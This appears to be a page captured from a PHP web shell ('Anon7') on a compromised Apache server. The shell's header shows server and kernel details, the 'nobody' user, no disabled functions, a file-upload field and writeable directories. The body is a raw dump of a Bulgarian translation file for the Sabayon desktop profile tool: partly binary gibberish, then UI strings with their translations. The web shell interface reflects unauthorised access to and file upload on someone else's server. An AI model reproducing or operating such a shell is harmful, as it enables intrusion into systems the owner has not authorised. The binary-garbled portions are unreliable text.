KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17
System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64
User : nobody ( 99)
PHP Version : 5.2.17
Disable Function : NONE
Directory :  /usr/share/locale/bg/LC_MESSAGES/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/locale/bg/LC_MESSAGES/sabayon.mo
2Iaw		
)
4BbN#+!O"q !XRB$((F]i-u
(6Oi}1P%e1.;%X!~*8&+=Oau{" "#!C!e
IG0xI+u|$
	
#",%Ou$$$ #@W\ |$ 

  
) 4 C T l 0     ,!!&!!
""#"3"<"Q"V"9v"""""#1#F#L#b#z#P#L#1$	8$B$K$R$Z$c$i$u${$	$$
$$$$$$/$%%!%2%/7%g%z%%%%%e%&'3.'1b'3'3''5(3I(5}(5(&(,)=)M)g)"~))HK*F*H*H$+Jm+H+J,JL,#,],--#.`.d?/-/7/H
0;S0&00~0<F1K161/2362)j2/2e2>*3Hi3G3)3I$4Mn44P4.5-E5+s55 &6`G6&6z6DJ77\8In8Z8u99:B:):);%:;"`;;;];;v<u=lz=n=lV>f>P*?{?5??@	ABvC)MD~wEE:FEFFF6F(F8G:GUG6kGGJGEH5JHMHIHEI\^I_IRJnJKuJ<JEJ;DK
K)K-KK)K&L<LWL7tL*L`L:8M!sM&MMdN&=ODdO.OO5O-PIP2UPP;PnP2:Q/mQYQCQ8;R)tRR+R/R?SKSTTTTTT
U%U=UUU+aUU
UU)UUVV1VIOV+VV>VWv%W3WWzW
XXcXFjXYk]p\N)rW{B
!OKZb#D5.@H*>Q=%P|[si;A6m4fe:0j1,Lw^-<X2g~C'oxqTI	R9 thzlUy+J`n8(Vc/uME
d$_"&a}vGF37?S%s (%s)%s added to bottom panel%s added to left panel%s added to right panel%s added to top panel%s launcher%s removed from bottom panel%s removed from left panel%s removed from right panel%s removed from top panel<b>Disabled Applets</b><b>Safe Protocols</b><no type><no value>About SabayonAdd ProfileAdministrator level permissions are needed to run this program because it can modify system files.Applet %s added to bottom panelApplet %s added to left panelApplet %s added to right panelApplet %s added to top panelApplet %s removed from bottom panelApplet %s removed from left panelApplet %s removed from right panelApplet %s removed from top panelApplications menuCannot add non-existent file '%s'Cannot find home directory: not set in /etc/passwd and no value for $HOME in environmentCannot find username: not set in /etc/passwd and no value for $USER in environmentChanges in profile %sClick to make this setting mandatoryClick to make this setting not mandatoryClose _Without SavingClose the current windowCould not open %s for writingDefault GConf settingsDelete itemDescriptionDesktop User Profiles tool is already runningDisable _arbitrary URLDisable _bookmark editingDisable _command lineDisable _historyDisable _javascript chromeDisable _printingDisable _quitDisable _toolbar editingDisable _unsafe protocolsDisable force _quitDisable lock _screenDisable log _outDisable print _setupDisable save to _diskDrawerEdit Lockdown settingsEdit changesEditing profile %sEnforce MandatoryEnforce mandatory settings in the editing sessionEpiphany Web BrowserEstablish and Edit Profiles for UsersExpected event: %s %sFailed to add default profile %s to configurationFailed to add monitor for %sFailed to add user %s to profile configurationFailed to get the user listFailed to read file '%s': %sFailed to read metadata from '%s': %sFailed to save UserDatabase to %sFailed to start Xnest: died during startupFailed to start Xnest: timed out waiting for USR1 signalFile %s is not a profile configurationFile '%s' changedFile '%s' createdFile '%s' deletedFile Not Found (%s)FilesGConfGConf key '%s' set to '%s'GConf key '%s' set to boolean '%s'GConf key '%s' set to float '%s'GConf key '%s' set to integer '%s'GConf key '%s' set to list '%s'GConf key '%s' set to pair '%s'GConf key '%s' set to schema '%s'GConf key '%s' set to string '%s'GConf key '%s' unsetGeneralHide _menubarIf you don't save, changes from the last %d hour will be permanently lost.If you don't save, changes from the last %d hours will be permanently lost.If you don't save, changes from the last %ld minute will be permanently lost.If you don't save, changes from the last %ld minutes will be permanently lost.If you don't save, changes from the last %ld second will be permanently lost.If you don't save, changes from the last %ld seconds will be permanently lost.If you don't save, changes from the last hour and %d minute will be permanently lost.If you don't save, changes from the last hour and %d minutes will be permanently lost.If you don't save, changes from the last hour will be permanently lost.If you don't save, changes from the last minute and %ld second will be permanently lost.If you don't save, changes from the last minute and %ld seconds will be permanently lost.If you don't save, changes from the last minute will be permanently lost.IgnoreIgnore WARNINGsInvalid metadata section in '%s': %sLockLock Screen buttonLockdown EditorLockdown settings for %sLogout buttonMain MenuMandatory GConf settingsMenu BarMozilla bookmark changed '%s' '%s'Mozilla bookmark created '%s' -> '%s'Mozilla bookmark deleted '%s'Mozilla bookmark folder changed '%s'Mozilla bookmark folder created '%s'Mozilla bookmark folder deleted '%s'Mozilla key '%s' changed to '%s'Mozilla key '%s' set to '%s'Mozilla key '%s' unsetNameNo profile for user '%s' found
No query filter specified for %sNo result attribute specified for %sNo search based specified for %sPanelPanel '%s' addedPanel '%s' removedPanel FilePreferences menuProfile %sProfile _name:Profile file: %sProfile is read-only %sProfile settings: %sProgram to establish and edit profiles for usersRun Appliction buttonRunning %s testsRunning %s tests (%s)Sabayon requires a special user account '%s' to be present on this computer. Try again after creating the account (using, for example, the 'adduser' command)Save changes to profile "%s" before closing?Save profileScope must be one of sub, base and oneScreenshot buttonSearch buttonServer Settings menuStart Here menuSuccess!System Settings menuTypeUnable to find a free X displayUsage: %s <profile-name> <profile-path> <display-number>
Usage: %s [<profile-name>]
Use This ProfileUse this profile for _all usersUser Profile EditorUser account '%s' was not foundUsers for profile %sValueWeb browser bookmarksWeb browser preferencesWeb browser profile listYou may not use Desktop User Profiles tool from within a profile editing sessionYour account does not have permissions to run the Desktop User Profiles tool_About_Base on:_Changes_Close_Delete_Details_Edit_Fullscreen_Help_Lock down the panels_Lockdown_Profile_Profiles:_Quit_Save_Users_Users:booleanduplicate name(%(name)s) in section %(section)sfloatintegerinvalid type for setting %s in %slistmultiple_result must be one of first and randomno default profilepairredundant default in section %sschemastringtranslator-creditsProject-Id-Version: sabayon
Report-Msgid-Bugs-To: 
POT-Creation-Date: 2007-03-08 09:04+0200
PO-Revision-Date: 2007-01-23 19:08+0200
Last-Translator: Yavor Doganov <yavor@doganov.org>
Language-Team: Bulgarian <dict@fsa-bg.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=2; plural=n != 1;
%s (%s)%s е добавен към долния панел%s е добавен към левия панел%s е добавен към десния панел%s е добавен към горния панелстартер на %s%s е премахнат от долния панел%s е премахнат от левия панел%s е премахнат от десния панел%s е премахнат от горния панел<b>Изключени аплети</b><b>Безопасни протоколи</b><без вид><без стойност>Относно SabayonДобавяне на профилНеобходими са права на администратор, защото програмата може да редактира системни файлове.Аплетът „%s“ е добавен към долния панелАплетът „%s“ е добавен към левия панелАплетът „%s“ е добавен към десния панелАплетът „%s“ е добавен към горния панелАплетът „%s“ е премахнат от долния панелАплетът „%s“ е премахнат от левия панелАплетът „%s“ е премахнат от десния панелАплетът „%s“ е премахнат от горния панелМеню „Приложения“Несъществуващият файл „%s“ не може да бъде добавенНе може да се открие домашната директория: не е зададена в /etc/passwd и променливата $HOME, ако съществува, е без стойностНе може да се открие името на потребителя: не е зададено в /etc/passwd и променливата $USER, ако съществува, е без стойностПромени в профила %sНатиснете, за да направите настройката задължителнаНатиснете, за да направите настройката незадължителнаЗатваряне _без запазванеЗатваряне на текущия прозорецНеуспех при отварянето на „%s“ за записНастройки на GConf по подразбиранеИзтриване на елементОписаниеПрограмата за настройване на потребителските профили вече е пуснатаЗабраняване на п_роизволен адресЗабраняване на редактирането на _отметкиЗабраняване на _командния редЗабраняване на _историятаЗабраняване на chrome на _javascriptЗабраняване на _печатаЗабраняване на _спиранетоЗабраняване на редактирането на _лентите с инструментиИзключване на _опасните протоколиЗабраняване на прину_дителното спиранеЗабраняване на заключването на _екранаЗабраняване на _изходаЗабраняване на _настройването на печатаЗабраняване на _запазването върху носителШкафРедактиране на настройките на заключванетоРедактиране на променитеРедактиране на профила %sЗадължително прилаганеЗадаване на задължително прилаганите настройки в сесията за редактиранеУеб браузър - EpiphanyНастройване и редактиране на профили за потребителиОчаквано събитие: %s %sНеуспех при добавянето на стандартния профил „%s“ към настройкитеНеуспех при добавянето на датчик за %sНеуспех при добавянето на потребителя „%s“ към настройките на профилаНеуспех при получаването на списъка с потребителиНеуспех при прочитането на файла „%s“: %sНеуспех при прочитането на метаданните от „%s“: %sНеуспех при запазването на потребителската база от данни в „%s“Неуспех при стартирането на Xnest: процесът завърши работа още при стартирането сиНеуспех при стартирането на Xnest: свърши времето за изчакване на сигнал USR1Файлът „%s“ не е настройка на профилФайлът „%s“ е промененФайлът „%s“ е създаденФайлът „%s“ е изтритНе е открит файл (%s)ФайловеGConfСтойността на ключа на GConf „%s“ е зададена да е „%s“Стойността на ключа на GConf „%s“ е зададена да е булевата стойност „%s“Стойността на ключа на GConf „%s“ е зададена да е числото с плаваща запетая „%s“Стойността на ключа на GConf „%s“ е зададена да е цялото число „%s“Стойността на ключа на GConf „%s“ е зададена да е списъка „%s“Стойността на ключа на GConf „%s“ е зададена да е двойката „%s“Стойността на ключа на GConf „%s“ е зададена да е схемата „%s“Стойността на ключа на GConf „%s“ е зададена да е низа „%s“Стойността на ключа на GConf „%s“ е премахнатаОбщиСкриване на лентата с _менютаПромените от последния %d час ще бъдат загубени, ако не ги запазите.Промените от последните %d часа ще бъдат загубени, ако не ги запазите.Промените от последната %ld минута ще бъдат загубени, ако не ги запазите.Промените от последните %ld минути ще бъдат загубени, ако не ги запазите.Промените от последната %ld секунда ще бъдат загубени, ако не ги запазите.Промените от последните %ld секунди ще бъдат загубени, ако не ги запазите.Промените от последния час и %d минута ще бъдат загубени, ако не ги запазите.Промените от последния час и %d минути ще бъдат загубени, ако не ги запазите.Промените от последния час ще бъдат загубени, ако не ги запазите.Промените от последната минута и %ld секунда ще бъдат загубени, ако не ги запазите.Промените от последната минута и %ld секунди ще бъдат загубени, ако не ги запазите.Промените от последната минута ще бъдат загубени, ако не ги запазите.ИгнориранеИгнориране на ПРЕДУПРЕЖДЕНИЯтаНевалиден раздел с метаданни в „%s“: %sЗаключванеБутон за заключване на екранаРедактор на забранитеНастройки на заключването за %sБутон за изходГлавно менюЗадължителни настройки на GConfЛента с менюОтметката „%s“ в Mozilla е променена на „%s“Създадена е отметка в Mozilla: „%s“ -> „%s“Изтрита е отметка в Mozilla: „%s“Папката за отметки в Mozilla е променена: „%s“Създадена е папка за отметки в Mozilla: „%s“Изтрита е папка за отметки в Mozilla: „%s“Стойността на ключа на GConf „%s“ е променена на „%s“Стойността на ключа на Mozilla „%s“ е зададена да е „%s“Стойността на ключа на Mozilla „%s“ е премахнатаИмеНе е открит профилът на потребителя „%s“
Не е зададен филтър на заявката %sНе е зададен атрибут на резултата за %sНе е указана база за търсене за %sПанелПанелът „%s“ е добавенПанелът „%s“ е премахнатФайл за панелМеню „Предпочитания“Профил „%s“_Име на профил:Файл с профил: %sПрофилът „%s“ е само за четенеНастройки на профила: %sНастройване и редактиране на профили за потребителиБутон за стартиране на програмаПуснати са %s тестаПуснати са %s теста (%s)За Sabayon е необходимо да се създаде следния специален потребител на тази система - „%s“. Опитайте отново след като го създадете (напр. чрез командата „adduser“)Запазване на промените в профила „%s“ преди затваряне?Запазване на профилаОбхватът може да е „sub“, „base“ и „one“Бутон за снимка на екранаБутон за търсенеМеню „Настройки на сървъра“Меню „Начало“Успех!Меню „Системни настройки“ВидНе е открит свободен дисплей на XУпотреба: %s <име-на-профил> <път-до-профила> <номер-на-дисплея>
Употреба: %s [<име-на-профил>]
Използване на този профилИзползване на този профил за _всички потребителиРедактор на потребителски настройкиПотребителят „%s“ не бе откритПотребители с профил %sСтойностОтметки за уеб браузъраНастройки на уеб браузъраСписък с профилите за уеб браузъраНе можете да използвате програмата за настройване на потребителските профили от сесия за редактиране на сесиитеНямате права да изпълните програмата за настройване на потребителските профили_Относно_Базиран на:_Промени_Затваряне_ИзтриванеП_одробности_РедактиранеНа _цял екран_ПомощЗакл_ючване на панелите_Заключване_Профил_Профили:_Спиране на програмата_Запазване_Потребители_Потребители:булева величинаповторение на име (%(name)s) в раздела %(section)sчисло с плаваща запетаяцяло числоневалиден вид на настройката %s в %sсписъкмножественият резултат може да е „first“ (първи) и „random“ (случаен)няма профил по подразбиранедвойкаизлишна стойност в раздела %s, която има стойността по подразбиранесхеманизРостислав Райков <zbrox@i-space.org>
Александър Шопов <ash@contact.bg>

Проектът за превод на GNOME има нужда от подкрепа.
Научете повече за нас на http://gnome.cult.bg
Докладвайте за грешки на http://gnome.cult.bg/bugs

Anon7 - 2021